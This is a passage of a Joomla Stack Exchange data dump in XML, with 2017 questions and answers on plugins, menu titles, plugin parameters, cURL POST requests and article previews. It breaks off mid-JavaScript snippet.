  <row Id="21960" PostTypeId="2" ParentId="21957" CreationDate="2017-11-22T08:19:13.777" Score="2" Body="&lt;p&gt;I am not absolutely clear about your exact goal. But it seems that you are after creating a content plugin, that will be triggered &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentPrepare&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;onContentPrepare&lt;/strong&gt;&lt;/a&gt; event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin will run when the article is loaded. Within your plugin, you have your &lt;code&gt;onContentPrepare&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0) {&#xA;    //do something &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the &lt;code&gt;&amp;amp;$article&lt;/code&gt; parameter, you pass a reference of the current article object (&lt;code&gt;var_dump($article);&lt;/code&gt;), so you get access to the contents of your article, e.g. &lt;code&gt;$article-&amp;gt;text&lt;/code&gt;, which seems to be what you want to process here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then, you need to do all that processing for the text of your article.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Identify your custom mark-up  &lt;/li&gt;&#xA;&lt;li&gt;Transform it to your desired HTML&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Usually in such cases you need to go with regular expressions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*You need to have a good plan regarding how your Custom Mark-up will look like.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2019-04-18T05:45:37.077" LastActivityDate="2019-04-18T05:45:37.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21961" PostTypeId="2" ParentId="21958" CreationDate="2017-11-22T08:28:43.633" Score="2" Body="&lt;p&gt;Not sure of what you would expect by a Joomla developers built-in function. It seems that you are already up-to the task for creating your content plugin. What you want to process and how you will process it, depends on your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will be the requirement to place inside your {myplugin}...{/plugin} snippet, should make sense to what you want to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &quot;partno&quot; is important then use it, if just placing the numbers part is sufficient then go this way.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-11-22T08:28:43.633" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21962" PostTypeId="1" CreationDate="2017-11-22T11:03:09.607" Score="2" ViewCount="428" Body="&lt;p&gt;The SiteMenu Class does not provide any method for getting the menu title column from table *_menu_types.&#xA;However that field is editable in the admin section (com_menus section, field 'title').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way than querying the database to retrieve this field (as encoded in cpanel) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, does anyone have a sample code with db query ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="11806" LastEditorUserId="11806" LastEditDate="2017-11-22T11:29:46.383" LastActivityDate="2017-11-22T11:31:27.067" Title="How to get the actual title of a Menu Type object?" Tags="|menu|menu-parameters|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21963" PostTypeId="2" ParentId="21962" CreationDate="2017-11-22T11:09:53.257" Score="2" Body="&lt;p&gt;You can get the current menu item alias like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$alias  = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;alias;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$active = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;var_dump($active);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//(int)$id - the actual itemid you want to get;  &#xA;&#xA;$specificMenuItem = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getItem($id);&#xA;var_dump($specificMenuItem);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;strong&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JMenu.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JMenu API&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-11-22T11:24:38.940" LastActivityDate="2017-11-22T11:24:38.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21964" PostTypeId="2" ParentId="21962" CreationDate="2017-11-22T11:31:27.067" Score="3" Body="&lt;p&gt;Just in case it helps anyone, this is how I achieved it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = $app-&amp;gt;getMenu();&#xA;$active_item = $menu-&amp;gt;getActive();&#xA;&#xA;$loader = function ($menu_type) {&#xA;    $db = \JFactory::getDbo();&#xA;    $result = null;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('m.id, m.menutype, m.title, m.description')&#xA;        -&amp;gt;where(&quot;m.menutype = '{$menu_type}'&quot;)&#xA;        -&amp;gt;from('#__menu_types AS m');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $list = $db-&amp;gt;loadObjectList();&#xA;    if(count($list)) $result = array_shift($list);&#xA;    return $result;&#xA;};&#xA;&#xA;$menu = $loader($active_item-&amp;gt;menutype);&#xA;$menu_title = $menu-&amp;gt;title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11806" LastActivityDate="2017-11-22T11:31:27.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21967" PostTypeId="1" AcceptedAnswerId="21971" CreationDate="2017-11-23T09:06:04.067" Score="2" ViewCount="1270" Body="&lt;p&gt;Is there any way to redirect to external url with parameters from a controller? I'm using joomla 2.5.9 and I have a controller that sends emails to the administrator. After an email is sent successfully, I need to send some details to another site for further proceedings. Can I use cURL like core php ? Here is my controller code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;            $config = JFactory::getConfig();&#xA;            $sender = array($config-&amp;gt;getValue( 'config.mailfrom' ),$config-&amp;gt;getValue( 'config.fromname' ));&#xA;            $mailer-&amp;gt;setSender($sender);&#xA;            $admin = JFactory::getUser(42);&#xA;            $admin_email = ($admin-&amp;gt;email)? $admin-&amp;gt;email: $config-&amp;gt;getValue( 'config.mailfrom' );&#xA;            $mailer-&amp;gt;addRecipient($admin_email);&#xA;            $mailer-&amp;gt;setSubject('New Reservation ('.ucfirst($data['package_hotel']).')');&#xA;            $body   = 'Dear Manager,&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;You have received a new reservation request ('.$data['package_hotel'].') from '&#xA;                    .$data['name'].'. '&#xA;                    .'&quot;'.$package_hotel_name.'&quot; '.$data['package_hotel'].' dated '.$data['date_from'].'.&amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;'&#xA;                    .'&amp;lt;h3&amp;gt;Details&amp;lt;/h3&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Name: '.$data['name'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Address: '.$data['address'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Email: '.$data['email'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Mobile Number: '.$data['mobile'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Phone Number: '.$data['phone'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Arrival Date: '.$data['date_from'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Departure Date: '.$data['date_to'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;'.ucfirst($data['package_hotel']).': '.$package_hotel_name.'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;No of Adults: '.$data['adults'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;No of Children: '.$data['children'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Comments: '.$data['message'].'&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;div&amp;gt;Regards,&amp;lt;/div&amp;gt;'&#xA;                    .'&amp;lt;div&amp;gt;Godwin Holidays&amp;lt;/div&amp;gt;';&#xA;            $mailer-&amp;gt;isHTML(true);&#xA;            $mailer-&amp;gt;Encoding = 'base64';&#xA;            $mailer-&amp;gt;setBody($body);&#xA;            $send = $mailer-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If email sent successfully, then I want to send the above details to some other site say &lt;code&gt;example.com&lt;/code&gt;. I'm new to Joomla, so please help me&lt;/p&gt;&#xA;" OwnerUserId="11811" LastEditorUserId="126" LastEditDate="2017-11-24T07:49:39.647" LastActivityDate="2017-11-24T07:50:26.550" Title="Send a cURL POST request to an external url with parameters from controller" Tags="|joomla-2.5|curl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21968" PostTypeId="1" CreationDate="2017-11-23T14:07:55.377" Score="2" ViewCount="329" Body="&lt;p&gt;I am trying to install a quickstart package on Lightsail/Bitnami. But whatever I do I cannot seem to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My latest attempt was to install the QS on another server while installing just the default Joomla on Lightsail using the 1 click bitnami install. This allowed the DB to be setup/configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then backed up the QS install using akeeba and uploaded it to Lightsail and ran Kickstart - using the credentials from the previous install - this gives me an APPLICATION INSTANTIATION ERROR. I then copied the contents of the Bitnami Config file to this updated QS install but still the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm baffled, it shouldn't be this difficult surely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? I've googled and not been able to find anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-11-23T14:07:55.377" Title="Installing Joomla Quickstart package on AWS Lightsail/Bitnami?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21969" PostTypeId="1" CreationDate="2017-11-23T22:30:48.047" Score="1" ViewCount="459" Body="&lt;p&gt;I have a simple Joomla plugin I wrote and added a field to the .xml manifest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;&#xA;        &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;My plugin&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;My plugin&quot;&#xA;                description=&quot;Format: example&quot;&#xA;                default=&quot;&quot;&#xA;            /&amp;gt;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does the value the Joomla administrator filled out in this field get passed to the myplugin.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I read it looks like params is a PHP object and then you parse it somehow? Also what is the data's name once it gets into the program? Does it use the label that's set in the .xml manifest?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2017-12-13T17:24:20.573" Title="How do I pass the field value for a plugin into the myplugin.php itself?" Tags="|plugin|joomla-3.6|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21970" PostTypeId="2" ParentId="21969" CreationDate="2017-11-23T22:54:31.260" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;h3&gt;Hot Tip:&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;the best way to find out how Joomla does things is to look at&#xA;  a core extension that's doing what you want. eg. look at the code for&#xA;  the plugin/user/joomla plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the manifest one config field is '&lt;code&gt;mail_to_user&lt;/code&gt;'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;mail_to_user&quot;&#xA;    type=&quot;radio&quot;&#xA;    label=&quot;PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL&quot;&#xA;    description=&quot;PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC&quot;&#xA;    class=&quot;btn-group btn-group-yesno&quot;&#xA;    default=&quot;1&quot;&#xA;&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the php it's retrieved like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgUserJoomla extends JPlugin&#xA;{&#xA;&#xA;// ... code here ...&#xA;&#xA;    public function onUserAfterSave($user, $isnew, $success, $msg)&#xA;    {&#xA;        $mail_to_user = $this-&amp;gt;params-&amp;gt;get('mail_to_user', 1);&#xA;&#xA;    // etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first argument in the get method is the field's name. The second argument is the default value.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="126" LastEditDate="2017-11-24T07:52:53.777" LastActivityDate="2017-11-24T07:52:53.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21971" PostTypeId="2" ParentId="21967" CreationDate="2017-11-23T23:24:46.537" Score="3" Body="&lt;p&gt;&lt;strong&gt;Firstly 2.5.9 is 4 and a half years old and has a number of known security holes.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, it sounds like you want to make a curl post request and not any kind of redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the email is sent then the &lt;code&gt;$send&lt;/code&gt; variable will be truthy so you would write something like the following straight after your code above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($send){&#xA;   // set your destination&#xA;   $url = 'https://example.com/have_some_data';&#xA;&#xA;   // build up array of all the data you wish to send&#xA;   $fields = array(&#xA;       'name' =&amp;gt; $data['name'],&#xA;       'address' =&amp;gt; $data['address']&#xA;   );&#xA;&#xA;   // prep data to work with default content type (will probably work)&#xA;   $fields_string = http_build_query($fields);&#xA;&#xA;   // send the data&#xA;   $ch = curl_init();&#xA;   curl_setopt($ch, CURLOPT_URL,$url);&#xA;   curl_setopt($ch, CURLOPT_POST,1);&#xA;   curl_setopt($ch, CURLOPT_POSTFIELDS,$fields_string);&#xA;   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;   $response = curl_exec($ch);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="126" LastEditDate="2017-11-24T07:50:26.550" LastActivityDate="2017-11-24T07:50:26.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21972" PostTypeId="1" AcceptedAnswerId="21973" CreationDate="2017-11-24T04:16:54.393" Score="2" ViewCount="25" Body="&lt;p&gt;I have a Joomla plugin I wrote. There is a field for the Joomla Administrator to fill-in, it can't be left blank and there is no good default value to put in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force it that the plugin can't be enabled unless the Joomla Administrator fills in the require field? Is this something that can be accomplished in the .xml manifest? Or what other method is most common and practical to do?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2017-11-28T05:43:42.077" Title="How to force an administration field be filled-in or plugin won't be enabled?" Tags="|plugin|joomla-3.6|manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21973" PostTypeId="2" ParentId="21972" CreationDate="2017-11-24T07:40:19.297" Score="1" Body="&lt;p&gt;First in your xml you can set &lt;code&gt;required=true&lt;/code&gt; for the field you want to force as required.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;myfield&quot;&#xA;    type=&quot;text&quot;&#xA;    class=&quot;inputbox&quot;&#xA;    description=&quot;Please type your something&quot;&#xA;    label=&quot;My Something&quot;&#xA;    required=&quot;true&quot;&#xA;    size=&quot;10&quot;&#xA;    filter=&quot;raw&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This won't allow the form to be saved if the field is left empty.&#xA;But still the plugin can be enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to write code to disable the plugin, in the next Joomla execution cycle, if that plugin's field is empty, but I think trying to do so it will be an overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best thing here to do, is to check early in your plugin's methods, if that parameter is not empty - or if it holds an expected value. If this test is passed, then let the plugin execute the remaining of its task, otherwise end your plugin's functions routines with a return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, early inside your plugin's event method that runs, among your other checkings you can have something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;params-&amp;gt;get('myfield') === '') { &#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if the &lt;code&gt;myfield&lt;/code&gt;'s value is empty, then you will jump out of the function and nothing more will occur (the plugin won't run further).&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-11-28T05:43:42.077" LastActivityDate="2017-11-28T05:43:42.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21974" PostTypeId="2" ParentId="21969" CreationDate="2017-11-24T08:26:34.373" Score="0" Body="&lt;p&gt;@Jamesgarret answered how we can access the parameters of the plugin that are set by the administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your other question: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also what is the data's name once it gets into the program? Does it&#xA;  use the label that's set in the .xml manifest?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not the label - it is the name of the field you set in your plugin's xml. Label is the text that will be shown in the form left to your field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also better if you could use some naming convention for the names you give to your fields. I have never seen anyone use words separated with spaces. It will still work though, but it doesn't look that good. Usually it's preferable to use underscores or camelCase convention, to separate words for the name of the field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, when you write a plugin, you should usually do it by extending the &lt;strong&gt;JPlugin class&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemMyPlugin extends JPlugin&#xA;{}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JPlugin Class&lt;/strong&gt; is handling all of the basic properties for plugins, which will allow you to access them within your plugin's methods:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params; //The parameters of the plugin as set in the admin:&#xA;$this-&amp;gt;_name; //The name of the plugin&#xA;$this-&amp;gt;_type; //The folder of the plugin.&#xA;$this-&amp;gt;db; //The db object.&#xA;$this-&amp;gt;app; //The application object.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-12-13T17:24:20.573" LastActivityDate="2017-12-13T17:24:20.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21975" PostTypeId="2" ParentId="21887" CreationDate="2017-11-24T13:40:08.997" Score="2" Body="&lt;p&gt;I found the resolution for my case, it was simple, I just didn't notice. The articles that didn't display the Article title as the Page title, they didn't have the &lt;code&gt;Itemid=XXX&lt;/code&gt; parameter on their URLs.&lt;/p&gt;&#xA;" OwnerUserId="11756" LastActivityDate="2017-11-24T13:40:08.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21977" PostTypeId="2" ParentId="14368" CreationDate="2017-11-26T17:57:27.643" Score="1" Body="&lt;p&gt;I had a similar problem but could not disable any extensions that I thought were causing the problem. I had to go into MySQL to disable it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MariaDB [fe_joomla]&amp;gt; select extension_id, package_id, name, enabled, state from josld_extensions;&#xA;+--------------+------------+---------------------------------+---------+-------+&#xA;| extension_id | package_id | name                            | enabled | state |&#xA;+--------------+------------+---------------------------------+---------+-------+&#xA;|        11002 |          0 | System - jSGCache               |       1 |     0 |&#xA;&#xA;MariaDB [fe_joomla]&amp;gt; update josld_extensions set enabled = 0 where extension_id = 11002;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11822" LastActivityDate="2017-11-26T17:57:27.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21978" PostTypeId="1" CreationDate="2017-11-26T19:12:06.740" Score="7" ViewCount="2541" Body="&lt;p&gt;How do I preview an article? In Wordpress, there is a Preview button which pops up a window with how the page looks. In the Joomla editor page, I see this, with no links to a preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wnyks.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wnyks.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched and found this link: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Previewing_an_Article&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Previewing_an_Article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After you have made changes to your content (if required) click the Preview toolbar button.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I don't see a Preview button. I looked in the configuration for a setting, but I didn't see any settings for a Preview button either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/w7aRT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w7aRT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this answer: &lt;a href=&quot;https://joomla.stackexchange.com/a/16131/11822&quot;&gt;https://joomla.stackexchange.com/a/16131/11822&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed Better Preview extension, but the editor page became broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zk7mW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zk7mW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on the Preview button, that is also broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LwQ56.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LwQ56.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I preview an article in Joomla? It doesn't seem like it should be this hard.&lt;/p&gt;&#xA;" OwnerUserId="11822" LastActivityDate="2018-06-12T09:48:57.543" Title="How do I preview an article in Joomla editor?" Tags="|administrator|editor|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21979" PostTypeId="1" CreationDate="2017-11-27T14:23:32.023" Score="3" ViewCount="161" Body="&lt;p&gt;I have a working multi-language site (joomla core support).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, in the case of having an untranslated, for example, an article, is it possible to fallback to the one in the default language? The only way I am thinking to achieve it is to duplicate the untranslated article until the translation will be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate some guidance.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2018-10-31T16:15:38.050" Title="Fallback language when translation does not exist" Tags="|joomla-3.x|language|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21980" PostTypeId="1" AcceptedAnswerId="21985" CreationDate="2017-11-27T15:54:53.473" Score="3" ViewCount="212" Body="&lt;p&gt;Somehow, Joomla removes &lt;code&gt;img&lt;/code&gt; tags from the HTML code of modules loaded in article content by &lt;code&gt;{loadmodule}&lt;/code&gt; or &lt;a href=&quot;https://www.regularlabs.com/extensions/modulesanywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modules Anywhere&lt;/a&gt; and I can't find a way to stop it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Joomla 3.8.2 site where there is a module called Bootstap Tabs which simply shows articles in tabs so each tab is one article. Each of these articles is used to load a single module using &lt;code&gt;{loadmodule}&lt;/code&gt;. That module is of type &lt;a href=&quot;http://joomlacode.org/gf/project/tm_art_news_adv/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Articles Newsflash Advanced&lt;/a&gt; 1.5.6 (&lt;code&gt;mod_articles_news_adv&lt;/code&gt;) and simply shows some fixed number of titles and intro texts from articles from given category. It should also show intro images. When I use Articles Newsflash Advanced modules in a standard way, everything works fine. But in this multiple-inculsion way &lt;code&gt;img&lt;/code&gt; tags are stripped away. And I mean that they are stripped away regardless of where are they placed in the HTML code of the override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in short:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OK: module shows list of articles with &lt;code&gt;img&lt;/code&gt;s;&lt;/li&gt;&#xA;&lt;li&gt;Error: module shows article that loads another module which shows list of articles - &lt;code&gt;img&lt;/code&gt; tags are stripped away.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I tried to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I tried to put &lt;code&gt;img&lt;/code&gt; tags in the strangest places in HTML override of &lt;code&gt;mod_articles_news_adv&lt;/code&gt; to find what exactly is being filtered - and it seems that it's all of module's HTML code;&lt;/li&gt;&#xA;&lt;li&gt;I tried to use some alternative to &lt;code&gt;{loadmodule}&lt;/code&gt;, I used &lt;a href=&quot;https://www.regularlabs.com/extensions/modulesanywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modules Anywhere&lt;/a&gt; but problem remained.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;There is some &lt;a href=&quot;https://joomla.stackexchange.com/questions/18496/how-to-show-images-in-intro-text-section-on-article-news-flash-advanced-gallery&quot;&gt;related question&lt;/a&gt; in Joomla SE, looks like the same problem.&lt;/p&gt;&#xA;" OwnerUserId="5494" LastEditorUserId="5494" LastEditDate="2017-11-27T21:10:54.590" LastActivityDate="2017-11-28T12:12:51.457" Title="Joomla removes img tags from HTML of modules loaded in article content" Tags="|joomla-3.x|module|content-filtering|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21982" PostTypeId="2" ParentId="21624" CreationDate="2017-11-27T18:17:31.073" Score="2" Body="&lt;p&gt;I have found the easiest way to do this is actually not to use the tag form field at all. I know that sounds crazy, but when you want to store the tags and tag associations in your own database table, it is easier to go a different route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way is to use an SQL form field that allows multiples. You will set the SQL to pull from your database table containing the tags. Then, in your models getItem() method, retrieve the IDs of the tags associated with your record and store them as an array in the appropriate property for your object (e.g. $item-&gt;tags). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, in the template of your view, use some JavaScirpt stolen from /layouts/joomla/html/tag.php to make the field behave like the tags field. There are a couple of variables to replace (selector and minTermLength) but you should find that pretty simple. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function ($) {&#xA;&#xA;        var customTagPrefix = '#new#';&#xA;&#xA;        // Method to add tags pressing enter&#xA;        $('&quot; . $selector . &quot;_chzn input').keyup(function(event) {&#xA;&#xA;            // Tag is greater than the minimum required chars and enter pressed&#xA;            if (this.value &amp;amp;&amp;amp; this.value.length &amp;gt;= &quot; . $minTermLength . &quot; &amp;amp;&amp;amp; (event.which === 13 || event.which === 188)) {&#xA;&#xA;                // Search a highlighted result&#xA;                var highlighted = $('&quot; . $selector . &quot;_chzn').find('li.active-result.highlighted').first();&#xA;&#xA;                // Add the highlighted option&#xA;                if (event.which === 13 &amp;amp;&amp;amp; highlighted.text() 